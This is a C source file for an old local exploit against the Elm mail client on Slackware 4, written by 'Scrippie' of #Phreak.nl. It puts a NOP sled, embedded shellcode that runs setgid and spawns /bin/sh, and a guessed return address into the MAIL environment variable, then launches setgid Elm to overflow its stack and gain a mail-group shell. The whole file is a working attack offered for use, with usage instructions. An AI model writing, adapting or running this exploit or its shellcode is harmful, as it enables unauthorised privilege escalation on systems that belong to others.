/*
   Elm Exploit - Scrippie - #Phreak.nl - b0f - http://b0f.freebsd.lublin.pl
 
   This exploit spawns an EGID mail shell on the default Slackware 4 install.
 
	Use as: elm-smash [mail-gid] [offset]
 
	Not that EGID=mail has got any use, but hey, think of it as group
        eleviation :)
 
	Take care and till next time!
*/

#include <stdio.h>
#define NUMNOPS 193		// If you change this, you gonna have to change
// the entire sploit ;)

// Shellcode does: setgid(12); execve("/bin/sh");
char shellcode[]="\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76"
                 "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
                 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f"
                 "\x73\x68";

// Oh no! Where the fuck is my code on the stack?
unsigned long get_sp(void)
{
  __asm__("movl %esp, %eax");
}
// Thanx for telling me lad :)

main(int argc, char **argv)
{
  int i, offset=-300;		// Offset works for my box
  char gid=12;
  long addy;
  char *thaCode;
  char *mailGid;

  if(argc > 1)
    {
      gid = (char) atoi(argv[1]);
      mailGid = (char *)strchr(shellcode, 0x0c);
      *mailGid = gid;
    }

  if(argc > 2) offset = atoi(argv[2]);

  if(!(thaCode = (char *) malloc(NUMNOPS+sizeof(shellcode)+5)))
    {
      fprintf(stderr, "Contact your admin and tell him to buy more RAM\n");
      exit(-1);
    }

  addy = get_sp() - offset;

  printf("/-----------------------------------------------\\\n");
  printf("|   Slack 4/Elm exploit - Scrippie              |\n");
  printf("\\-----------------------------------------------/\n");
  printf("Assuming sgid(elm) = %d\n", (int) gid);
  printf("Using ret addr = %x\n", addy);
  printf("You're now EUID=mail, take care :-p\n");
  printf("Please run \"reset\" when this works\n");
  sleep(4);

  memset(thaCode, 0x90, NUMNOPS);
  thaCode[NUMNOPS] = 0x00;		// Set to NULL to make strcat() work
  strcat(thaCode, shellcode);

  memcpy(thaCode + strlen(thaCode), (void *) &addy, 4);
  setenv("MAIL", thaCode, 1);		// We're going to be nasty now :)

  if((execl("/usr/bin/elm", "/usr/bin/elm", NULL)) == -1)
    {
      perror("execl()");
      exit(-1);
    }
  exit(0);
}